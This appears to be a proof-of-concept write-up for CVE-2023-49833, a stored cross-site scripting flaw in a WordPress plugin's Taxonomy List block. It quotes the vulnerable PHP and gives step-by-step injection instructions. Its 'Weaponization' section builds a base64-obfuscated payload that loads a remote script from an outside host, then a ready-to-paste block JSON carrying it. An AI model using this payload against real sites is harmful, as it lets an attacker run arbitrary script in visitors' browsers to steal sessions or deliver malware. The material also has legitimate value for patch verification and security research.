https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-49833/ >[!note] > I do not take credit for finding this, I only simply weaponized it as it was missing technical details on exploitation. ## Vulnerability Technical Details The titleTag is vulnerable to XSS in the Taxonomy List block, they did not properly filter it as an attribute, but rather html instead, we can append an entire attribute to the class node. > Vulnerable Code - ./class-uagb-taxonomy-list.php ```php < class="uagb-tax-title">name ); ?> > count ); ?> count > 1 ) ? esc_attr( $singular_name ) . 's' : esc_attr( $singular_name ); ?> count ) ); ?> ``` Firstly, we will want to add a taxonomy list, make a new post, and add the taxonomy block. ![Screenshot1](img1.png) ![Screenshot2](img2.png) Now click on code editor. ![Screenshot3](img3.png) Append the titleTag to the end of taxonomy-list block. The following can be added to trigger XSS: ``` "titleTag":"svg onload=alert(1)" ``` ![Screenshot4](img4.png) Now save and publish the page, and then go ahead and view it. ![Screenshot5](img5.png) ### Weaponization Below I will demonstrate how to load a remote script with this vulnerability. > Un-base 64'd script include ``` echo 'var s = document.createElement("script"); s.src = "https://script.com"; document.body.appendChild(s);' | base64 ``` > Base64 ``` dmFyIHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsgcy5zcmMgPSAiaHR0cHM6Ly9zY3JpcHQuY29tIjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsK ``` > Malicious Payload ``` svg onload=javascript:eval(atob(`dmFyIHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsgcy5zcmMgPSAiaHR0cHM6Ly9zY3JpcHQuY29tIjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsK`)) ``` > Full Payload ``` {"overallBorderTopWidth":1,"overallBorderLeftWidth":1,"overallBorderRightWidth":1,"overallBorderBottomWidth":1,"overallBorderTopLeftRadius":3,"overallBorderTopRightRadius":3,"overallBorderBottomLeftRadius":3,"overallBorderBottomRightRadius":3,"overallBorderStyle":"solid","overallBorderColor":"#E0E0E0","overallBorderHColor":"#E0E0E0","block_id":"cfa0112c","titleTag":"svg onload=javascript:eval(atob(`dmFyIHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsgcy5zcmMgPSAiaHR0cHM6Ly9zY3JpcHQuY29tIjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsK`))"} ```